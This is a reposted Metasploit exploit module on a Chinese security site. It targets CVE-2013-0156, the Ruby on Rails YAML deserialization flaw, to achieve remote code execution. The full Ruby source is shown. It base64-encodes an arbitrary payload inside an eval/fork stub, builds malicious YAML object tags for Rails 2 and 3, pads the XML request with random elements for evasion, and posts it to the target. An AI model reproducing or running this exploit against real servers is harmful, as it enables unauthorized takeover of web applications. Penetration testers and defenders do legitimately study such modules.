首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ruby on Rails XML Processor YAML Deserialization Code Execution
来源:metasploit.com 作者:hdm 发布时间:2013-01-11  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::CmdStagerTFTP
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
   'Description'    => %q{
     This module exploits a remote code execution vulnerability in the XML request
    processor of the Ruby on Rails application framework. This vulnerability allows
    an attacker to instantiate a remote object, which in turn can be used to execute
    any ruby code remotely in the context of the application.

    This module has been tested across multiple versions of RoR 3.x and RoR 2.x
   },
   'Author'         =>
    [
     'charlisome',  # PoC
     'espes',       # PoC and Metasploit module
     'lian',        # Identified the RouteSet::NamedRouteCollection vector
     'hdm'          # Module merge/conversion/payload work
    ],
   'License'        => MSF_LICENSE,
   'References'  =>
    [
     ['CVE', '2013-0156'],
     ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
    ],
   'Platform'       => 'ruby',
   'Arch'           => ARCH_RUBY,
   'Privileged'     => false,
   'Targets'        => [ ['Automatic', {} ] ],
   'DisclosureDate' => 'Jan 7 2013',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(80),
    OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
    OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

   ], self.class)

  register_evasion_options(
   [
    OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
   ], self.class)
 end


 #
 # This stub ensures that the payload runs outside of the Rails process
 # Otherwise, the session can be killed on timeout
 #
 def detached_payload_stub(code)
 %Q^
  code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
  if RUBY_PLATFORM =~ /mswin|mingw|win32/
   inp = IO.popen("ruby", "wb") rescue nil
   if inp
    inp.write(code)
    inp.close
   end
  else
   if ! Process.fork()
    eval(code) rescue nil
   end
  end
 ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
 end

 #
 # Create the YAML document that will be embedded into the XML
 #
 def build_yaml_rails2

  # Embed the payload with the detached stub
  code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
  yaml =
   "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
   "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
   "eval(%[#{code}].unpack(%[m0])[0]);' " +
   ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
   ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
   ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
  yaml
 end


 #
 # Create the YAML document that will be embedded into the XML
 #
 def build_yaml_rails3

  # Embed the payload with the detached stub
  code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
  yaml =
   "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
   "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
   "eval(%[#{code}].unpack(%[m0])[0]);' " +
   ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
  yaml
 end


 #
 # Create the XML wrapper with any desired evasion
 #
 def build_request(v)
  xml = ''

  elo = Rex::Text.rand_text_alpha(rand(12)+4)

  if datastore['XML::PadElement']
   xml << "<#{elo}>"

   1.upto(rand(1000)+50) do
    el = Rex::Text.rand_text_alpha(rand(12)+4)
    tp = ['string', 'integer'][ rand(2) ]
    xml << "<#{el} type='#{tp}'>"
    xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
    xml << "</#{el}>"
   end
  end

  el = Rex::Text.rand_text_alpha(rand(12)+4)
  xml << "<#{el} type='yaml'>"
  xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
  xml << "</#{el}>"

  if datastore['XML::PadElement']
   1.upto(rand(1000)+50) do
    el = Rex::Text.rand_text_alpha(rand(12)+4)
    tp = ['string', 'integer'][ rand(2) ]
    xml << "<#{el} type='#{tp}'>"
    xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
    xml << "</#{el}>"
   end

   xml << "</#{elo}>"
  end

  xml
 end

 #
 # Send the actual request
 #
 def exploit

  print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
  res = send_request_cgi({
   'uri'    => datastore['URIPATH'] || "/",
   'method' => datastore['HTTP_METHOD'],
   'ctype'  => 'application/xml',
   'data'   => build_request(3)
  }, 25)
  handler

  print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
  res = send_request_cgi({
   'uri'    => datastore['URIPATH'] || "/",
   'method' => datastore['HTTP_METHOD'],
   'ctype'  => 'application/xml',
   'data'   => build_request(2)
  }, 25)
  handler
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Internet Explorer 8 Fixed Col
·Microsoft Lync 2012 Code Execu
·Honeywell Tema Remote Installe
·Java Applet JMX Remote Code Ex
·Microsoft Internet Explorer Op
·Nagios history.cgi Remote Comm
·eXtplorer 2.1 Arbitrary File U
·Nero MediaHome 4.5.8.0 Denial
·Serva v2.0.0 DNS Server QueryN
·Samsung Kies 2.5.0.12114_1 Buf
·Serva v2.0.0 HTTP Server GET R
·Colloquy 1.3.5 / 1.3.6 Denial
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved